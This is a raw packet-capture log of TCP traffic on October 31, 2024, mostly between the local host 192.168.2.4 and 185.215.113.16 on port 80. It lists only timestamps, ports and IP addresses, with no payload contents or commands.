Oct 31, 2024 23:38:15.640188932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.666023016 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.666029930 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.678067923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678086042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678122997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678172112 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678205013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678210974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678225040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678240061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678256035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678271055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678271055 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678282976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678287029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678308010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678328991 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678360939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678375959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678397894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678409100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678414106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678428888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678435087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678445101 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678456068 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678468943 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678478956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678492069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678505898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678528070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678544044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678544998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678560019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678565979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678575993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678586006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678591967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.678603888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678615093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.678622961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679145098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679160118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679174900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679184914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679189920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679203033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679205894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679222107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679231882 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679235935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679250956 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679255962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679265976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679265976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679280996 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679291010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679296017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679301023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679311037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679332018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679332018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679332972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679347992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679363012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679367065 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679378033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679392099 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679392099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679408073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679408073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679436922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679447889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679733992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679758072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679773092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679795980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679815054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679871082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679893970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679917097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679932117 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679939985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679954052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679954052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679969072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679979086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679982901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.679990053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.679999113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680015087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680015087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680027962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680078030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680092096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680105925 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680120945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680129051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680138111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680147886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680152893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680170059 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680171967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680182934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680191994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.680218935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.680243015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681250095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681314945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681339025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681355000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681358099 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681369066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681375980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681385040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681396008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681406021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681425095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681499958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681514978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681530952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681538105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681546926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681557894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681561947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681566000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681579113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681585073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681600094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681636095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681641102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681654930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681669950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681678057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681693077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681709051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681730986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681741953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681757927 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681772947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681780100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681797028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681803942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681803942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681811094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681828022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681842089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681842089 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681857109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681857109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681871891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681876898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681895018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681899071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681910038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681927919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681932926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681936026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681946993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681958914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681966066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681971073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.681982040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.681986094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682002068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682014942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682017088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682024002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682032108 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682048082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682051897 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682063103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682071924 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682077885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682100058 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682118893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682461977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682502985 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682570934 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682584047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682607889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682617903 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.682627916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.682852030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.684494972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.684510946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.684525013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.684551954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.684582949 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.712899923 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.715529919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715547085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715572119 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715594053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715596914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715609074 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715625048 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715641975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715650082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715666056 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715679884 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715699911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715715885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715730906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715738058 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715745926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715749025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715760946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715768099 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715775967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715775967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715790987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715790987 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715806961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715812922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715826035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715831041 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715837955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715845108 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715861082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715867996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715877056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.715884924 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715900898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.715912104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.716845989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.716928005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.716943026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.716968060 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.716979980 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.716995001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717000961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717022896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717031002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717183113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717199087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717212915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717219114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717227936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717236996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717242002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717250109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717257977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717263937 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717273951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717288017 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717288971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717298031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717310905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717315912 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717327118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717340946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717343092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717359066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717366934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717374086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717389107 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717389107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717406034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717411995 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717421055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717433929 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717437029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717453003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717454910 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717469931 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717477083 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717484951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717498064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717500925 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717515945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717515945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717525959 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717530012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717545033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717545033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717552900 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717560053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717571974 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717575073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717581034 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717595100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717597961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717612028 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717612982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717628002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717634916 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717647076 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717653036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717667103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717673063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717684031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717696905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717699051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717696905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717717886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717725992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717731953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717741013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717756033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717765093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717775106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717780113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717793941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717796087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717811108 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717816114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717827082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717828035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717843056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717848063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717856884 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717861891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717873096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717880964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717888117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717900991 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717904091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717911005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717919111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717921972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717933893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717941999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717948914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717955112 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717973948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.717974901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.717983007 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718008995 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718100071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718115091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718131065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718137980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718147993 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718153954 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718166113 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718169928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718184948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718194962 CET	49837	80	192.168.2.4	185.215.113.16
